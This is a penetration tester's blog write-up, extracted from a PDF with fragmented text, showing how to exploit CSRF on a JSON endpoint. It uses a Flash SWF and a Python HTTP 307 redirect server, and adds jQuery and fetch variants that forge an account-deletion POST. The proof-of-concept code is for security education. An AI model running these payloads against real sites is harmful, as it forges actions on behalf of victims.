Exploiting CSRF On JSON Endpoints With Flash and Redirects
Exploiting CSRF On JSON Endpoints With Flash and Redirects
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
A quick walkthrough of the setup required to exploit a CSRF vulnerability on a
JSON endpoint using a third party attacker controlled server. If you would like
to play along follow this link and clone the repository
appsecco/json- ash-csrf-poc
Contribute to json- ash-csrf-poc development by creating an
account on GitHub.
github.com
Backstory
During a recently concluded penetration test, apart from discovering
several business logic bypasses, XSS and Insecure Direct Object References,
we found couple of Cross Site Request Forgery (CSRF) weaknesses as well.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
as part of the CORS speci cation when using XMLHttpRequest. We will
walk you through the setup that we did to exploit this CSRF vulnerability.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
For example, a simple PoC for a CSRF that can be used to exploit a delete
account functionality via a POST form is shown below:
<html>
<body onload=myform.submit()>
<form action="/userdelete" method="POST" name="myform">
<input type="hidden" id="acctnum" name="acctnum" value="100">
<input type="hidden" id="confirm" name="confirm" value="true">
</form>
</body>
</html>
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
So why couldn’t we exploit our JSON endpoint (where Content-Type header
was being veri ed on the server) using this PoC? Well, because
1. The POST body format had to be sent in JSON which is a little tedious to
build with HTML form elements.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Flash will not make a request to a server of a
di erent origin with custom headers unless a valid
crossdomain.xml le is present on the remote
origin.
The HTTP 307 will redirect the POST body and the
headers to the nal URL that needs to be targeted
thereby completing the attack.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Combining this together
To setup a successful PoC let’s take a look at our vulnerable endpoint and its
requirements:
{"acctnum":"100","confirm":"true"}
Attacker Setup
The attacker’s server consists of the following components and tra c ows:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
2. A redirector script that simply issues a HTTP 307 with the Location
header in the response set to the nal vulnerable /userdelete endpoint.
3. The victim’s browser will then issue another request with the headers
and the POST body intact to the nal URL completing the attack.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Creating the csrf.swf
To create the csrf.swf ash le that will issue the web request, follow these
steps:
1. Install the Flex SDK from Adobe to compile ActionScript to swf les. Flex
requires a 32 bit JVM to be installed which can be setup by installing the
32 bit JDK from Oracle
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
package
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
try
{
urlLoader.load(request);
return;
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
}
catch(e:Error)
{
trace(e);
return;
}
}
}
}
2. This python code will act as a web server on port 8000 to serve the
csrf.swf le and perform a HTTP 307 redirect to the http://victim-
site/userdelete endpoint.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
import BaseHTTPServer
import time
import sys
HOST = ''
PORT = 8000
class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(s):
if s.path == '/csrf.swf':
s.send_response(200)
s.send_header("Content-Type","application/x-shockwave-flash")
s.end_headers()
s.wfile.write(open("csrf.swf", "rb").read())
return
s.send_response(307)
s.send_header("Location","http://victim-site/userdelete")
s.end_headers()
def do_GET(s):
print(s.path)
s.do_POST()
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST,PORT), RedirectHandler)
print time.asctime(),"Server Starts - %s:%s" % (HOST,PORT)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print time.asctime(),"Server Stops - %s:%s" % (HOST,PORT)
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
The code at https://gist.github.com/shreddd/b7991ab491384e3c3331 was
used as a reference to create this HTTP redirect server
User ow as a PoC
These are the steps the victim will take to complete our attack. Flash needs
to be enabled in the browser.
3. The ash le loads, makes a request with the POST payload and custom
header to http://attacker-ip:8000/
4. The attacker server issues a HTTP 307 redirect. This causes the POST
response body and the custom header to be sent as is to the
http://victim-site/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Final Thoughts
A Flash le and a 307 redirector had to be employed in this case due to the
server verifying if the content-type of the request was a application/json. If
this check was absent on the server, JavaScript could be used to create a
HTML element attribute that would mimic a JSON object and a POST
request could be made as shown below:
<html>
<body>
<script src="
https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js">
</script>
<script>
$(document).ready(function() {
$("#json").attr("name",'{"acctnum":"100","confirm":"true","a":"');
$("#myform").submit();
});
</script>
</body>
</html>
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Another alternative would also be to use the fetch API to make a JSON
POST with a header of text/plain to complete the attack.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Any XSS vulnerability in the application can be used to defeat CSRF
protection as attacker controlled JavaScript would be able to read the
DOM and extract CSRF tokens to make custom requests on behalf of the
user
If you liked this article, please let us know in the comments. Until next time!
Happy Hacking!!
. . .
461 claps
WRITTEN BY
Appsecco Follow
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
applications, training the modern workforce in secure
development and testing.
Related reads
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Related reads
Related reads
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Discover Medium Make Medium yours Become a member
Welcome to a place where words matter. Follow all the topics you care about, and Get unlimited access to the best stories on
On Medium, smart voices and original we’ll deliver the best stories for you to your Medium — and support writers while
ideas take center stage - with no ads in homepage and inbox. Explore you’re at it. Just $5/month. Upgrade
sight. Watch
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD